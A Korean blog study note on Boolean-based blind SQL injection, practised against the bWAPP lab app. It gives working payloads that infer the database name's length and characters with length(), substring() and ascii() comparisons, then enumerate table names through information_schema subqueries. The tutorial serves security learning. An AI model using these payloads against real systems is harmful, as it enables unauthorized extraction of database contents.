모의해킹

SQL injection - blind (Boolean-Based)

editor9386 2025. 2. 12. 23:29

Blind SQL injection : 쿼리의 결과를 참 or 거짓으로 출력하는 페이지에서 데이터베이스의 내용을 참 or 거짓으로 추측하는 공격 기법

그림처럼 DB에 해당 영화가 있으면() 존재한다(1)라고 출력되고

그 외 내용을 검색하면(거짓이면) 존재하지 않는다(0)라고 출력된다

 

 

 

' or 1=1 을 입력하니(무조건 참이니) 영화가 존재한다고 출력

 

 

 

@@@@@@@@@ 모든 SQL에 해당하는 내용인데 갑자기 헷갈려서 다시정리@@@@@@@@@@@@@@@@@

 

사이트의 구성방식을 생각해보면 

SELECT * FROM movies WHERE title = '사용자입력값' 이런식으로 값을 받아서 나올 것 이다.

이때

 

1) ' or 1=1 and length(database())=1# 를 입력할경우

 

SELECT * FROM movies WHERE title = ' ' or 1=1 and length(database())=1# '

' ' 빈 문자열로 입력을 넘기고 뒤에 or 1=1 로 항상 참 값을 만들어서 뒤에 한 문장으로 이어지게 하지

 

 

2) ' length(database())=1# 를 입력할 경우 (or 1=1 이없는경우)

SELECT * FROM movies WHERE title = ' '  length(database())=1# '

' ' 까지 빈 문자열로 입력을 받아서 ' '까지가 한개의 문장으로 그리고 그냥 뜬금없이 length(database())만 남아서 잉여코드가 되지 그래서 오류가나

 

@@@@@@@@@@@@@끝@@@@@@@@@@@@@@@@@@@

 

다시 돌아와서

 

참고 내용

 

* ASCII Code (아스키 코드)

  - 10진수 48 ~ 57 = 정수 1 ~ 10

  - 10진수 65 ~ 90 = 문자 A ~ Z

  - 10진수 97 ~ 122 = 문자 a ~ z

 

 

* substring() 함수

  - 지정한 문자열의 일부를 반환해주는 함수

  - 형식 : substring("문자열", 시작 index, index 길이)

 

* length() 함수

  - 지정한 문자열의 길이를 반환해주는 함수

  - 형식 : length("문자열")

 

  ' or 1=1 and length(database())=1# ' 입력

코드 해석 : database의 이름길이가 1글자니? 

 

DB가 1글자가 아니므로 0이 출력되겠지 그럼 숫자를 1씩 올려서 하나씩 노가다로 글자수를 찾아보면 

 

 ' or 1=1 and length(database())=5# ' 에서 1이 출력이된다 => DB가 5글자

 

 

글자수를 알아 냈으니 이제 substring함수를 이용해서 5글자의 각 알파벳을 찾아봐야한다.

 

' or 1=1 and substring(database(),1,1)='a'#

* substring(database(),1,1) : database()가 반환하는 문자열의 첫 번째 글자

* 전체 구문 해석 : 데이터베이스 이름의 첫 번째 글자가 'a'인지 체크

 

이것도 노가다....

 

 
 
아스키 코드를 사용해서 이런 방식으로도 사용할 수 있다.

' or 1=1 and ascii(substring(database(),2,1)) <= 90#

* substring(database(),2,1) : database()가 반환하는 문자열의 두 번째 글자

* ascii() : 인자로 주어진 값을 아스키 코드 값으로 반환

* 전체 구문 해석 : 데이터베이스 이름의 두 번째 글자가 90(Z)보다 작은지 체크

 
 

해보면 DB이름이 bWAPP이 정답이였다.

 

 DB 이름을 찾았으니 테이블도 찾아야겠지...?

 

 

' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and

 table_schema='bWAPP' limit 0,1))=1#

*  select table_name from information_schema.tables : infromation_schema 데이터베이스의 tables 테이블에서 테이블 이름을 추출

where table_type='base table' and table_schema='bWAPP' : tables 테이블에서 table_type이 base table(메타데이터 테이블 제외한 테이블)이고, table_schema가 bWAPP 데이터베이스인 테이블

* 전체 구문 해석 : information_schema 데이터베이스의 tables 테이블에서 테이블 타입이 base table이고 table schema가 bWAPP 데이터베이스인 첫 번째 테이블 이름의 길이가 1인지 체크

 
 
테이블 숫자 확인했으니
각 글자 확인
 

' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' 

and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

* 전체 구문 해석 : bWAPP 데이터베이스의 첫 번째 테이블 이름의 첫 번째 문자가 97(a)보다 큰지 체크

 
 
서브쿼리라 (())이런식으로 괄호 두개래

 

'모의해킹' 카테고리의 다른 글

SQL Injection - Blind - Time-Based  (0) 2025.02.13
페이로드  (0) 2025.02.12
XSS - Stored (Blog)  (0) 2025.02.12
SQL Injection  (0) 2025.01.24
PHP Code Injection  (0) 2025.01.23